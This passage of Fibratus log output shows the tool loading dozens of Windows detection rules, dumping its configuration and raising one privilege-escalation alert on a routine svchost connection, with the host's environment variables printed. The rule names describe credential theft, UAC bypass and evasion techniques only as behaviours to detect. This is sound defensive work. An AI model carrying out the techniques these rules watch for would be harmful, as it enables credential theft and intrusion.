msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:33:18+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T11:33:18+01:00 level=info msg=bootstrapping with pid 16168. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:33:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ content-type=>text/html port=>25 enabled=>false to=>[] use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false enable-image=>true flush-interval=>1s min-buffers=>16 enable-fileio=>true buffer-size=>512 enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-dns=>false stack-enrichment=>true enable-mem=>false enable-registry=>true max-buffers=>36 enable-vamap=>true enable-thread=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 max-age=>0 formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ http=>[ endpoints=>[] serializer=>json timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false method=>POST] amqp=>[ tls-insecure-skip-verify=>false delivery-mode=>transient timeout=>5s exchange=>fibratus enabled=>false vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672 durable=>false passive=>false exchange-type=>topic] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ template-name=>fibratus sniff=>false flush-period=>1s enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] timeout=>5s gzip-compression=>false healthcheck-interval=>10s bulk-workers=>1 healthcheck-timeout=>5s trace-log=>false healthcheck=>true]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-mmaps=>false skip-files=>false excluded-procs=>[] skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false scan-timeout=>10s excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T11:33:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:33:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T11:33:33+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: Event(s): + Seq: 1355111 + Pid: 1428 + Tid: 4294967295 + Type: Connect + CPU: 3 + Name: Connect + Category: net + Description: Connects establishes a connection to the socket + Host: archrabbit + Timestamp: 2025-11-25 11:33:28.0872465 +0100 CET + Params: dip➜ 127.0.0.1, dport➜ 135, dport_name➜ epmap, l4_proto➜ TCP, pid➜ 1428, sip➜ 127.0.0.1, size➜ 0, sport➜ 59459 + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Potential privilege escalation via DeadPotato exploit, tactic.id: TA0004 + + Pid: 1428 + Ppid: 1004 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k RPCSS -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k RPCSS -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp TMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\ServiceProfiles\NetworkService _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T11:33:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T11:33:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:33:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:34:38+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:34:38+01:00 level=info msg=loading rule from 